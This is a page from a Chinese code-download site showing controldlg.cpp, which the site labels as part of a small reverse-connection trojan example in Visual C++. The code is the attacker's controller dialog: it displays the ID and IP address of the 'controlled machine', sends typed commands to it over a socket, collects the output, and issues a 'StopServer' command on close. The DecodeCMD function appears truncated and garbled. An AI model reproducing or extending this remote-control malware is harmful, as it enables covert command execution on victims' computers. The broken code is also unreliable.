⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 controldlg.cpp

📁 一个用vc写的反弹式木马的小例子
💻 CPP
字号:
// ControlDlg.cpp : implementation file
//

#include "stdafx.h"
#include "MFC.h"
#include "ControlDlg.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif


/////////////////////////////////////////////////////////////////////////////
// CControlDlg dialog

BOOL	DelFromActiveWindow(CString sid);
DWORD WINAPI RecvThread ( LPVOID lpParameter );

CControlDlg::CControlDlg(CWnd* pParent /*=NULL*/)
	: CDialog(CControlDlg::IDD, pParent)
{
	//{{AFX_DATA_INIT(CControlDlg)
		// NOTE: the ClassWizard will add member initialization here
	//}}AFX_DATA_INIT
	memHandle = NULL;
}


void CControlDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CControlDlg)
	DDX_Control(pDX, IDC_BUTTON_SEND, m_ButtonSend);
	DDX_Control(pDX, IDC_EDIT_CMD, m_EditCmd);
	DDX_Control(pDX, IDC_EDIT_OUT, m_Output);
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CControlDlg, CDialog)
	//{{AFX_MSG_MAP(CControlDlg)
	ON_WM_DESTROY()
	ON_WM_CLOSE()
	ON_BN_CLICKED(IDC_BUTTON_SEND, OnButtonSend)
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CControlDlg message handlers

void CControlDlg::OnDestroy() 
{
	CDialog::OnDestroy();
	
	// TODO: Add your message handler code here
	
}

void CControlDlg::OnClose() 
{
	// TODO: Add your message handler code here and/or call default
	send(sock,"StopServer",strlen("StopServer"),0);
	DelFromActiveWindow(sid);
	DWORD A;
	GetExitCodeThread(hThread,&A);
	TerminateThread(hThread,A);
	AnimateWindow(GetSafeHwnd(),1000,AW_HIDE|AW_CENTER);

	CDialog::OnClose();
}


BOOL CControlDlg::OnInitDialog()
{
	
	CDialog::OnInitDialog();
	CString	Title;
	Title = "您控制的机器ID为";
	Title += sid;
	Title += " IP地址为:";
	Title += strCKIP;

	Num = 0;
	RecvThreadInfor L = {0};
	L.pButton = &m_ButtonSend;
	L.pmemHandle = &memHandle;
	L.pOut = &m_Output;
	L.sock = &sock;
	L.pNum = &Num;

	memHandle = GlobalAlloc (GMEM_MOVEABLE | GMEM_ZEROINIT | GMEM_SHARE, 0);
	hThread = CreateThread(NULL,NULL,RecvThread,&L,0,0);
	SetWindowText(Title);
	Sleep(200);
	return	1;
}

void CControlDlg::OnButtonSend()
{
	// TODO: Add your control notification handler code here
	CString	sCmd = "";
	m_EditCmd.GetWindowText(sCmd);
	if ( sCmd == "" )
	{
//		AfxMessageBox("Command isn't NULL");
		return;
	}
//	m_ButtonSend.EnableWindow(FALSE);

	GlobalFree(memHandle);
	Num = 0;
	memHandle = GlobalAlloc (GMEM_MOVEABLE | GMEM_ZEROINIT | GMEM_SHARE, 0);
	m_Output.SetHandle(memHandle);

	DecodeCMD(&sCmd);

	TRACE("\n CMD = %s",sCmd);
	if ( sCmd.GetLength() )
		send ( sock , sCmd , sCmd.GetLength(),0);
}

void CControlDlg::DecodeCMD(CString *pStr)
{
	CString Tcmd = *pStr;
	if ( Tcmd[0] != '-' )
		return;
	char* p = Tcmd.GetBuffer(256);
	char* startp = p+1;
	while ( *(++p) == ' ' );

	char cmdtype[16] = {0};
	int Len = Tcmd.GetLength()-1;
	char* p1 = strstr(p," ");
	char* p2 = NULL;
	if ( p1 )
	{
		memcpy(cmdtype,p,p1-p);
		while ( *p1 == ' ' )
			p1++;
	}
	else
		memcpy(cmdtype,p,strlen(p));
	
		Sleep(1000);
	}
	

void CControlDlg::OnOK()
{
	OnButtonSend();

}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -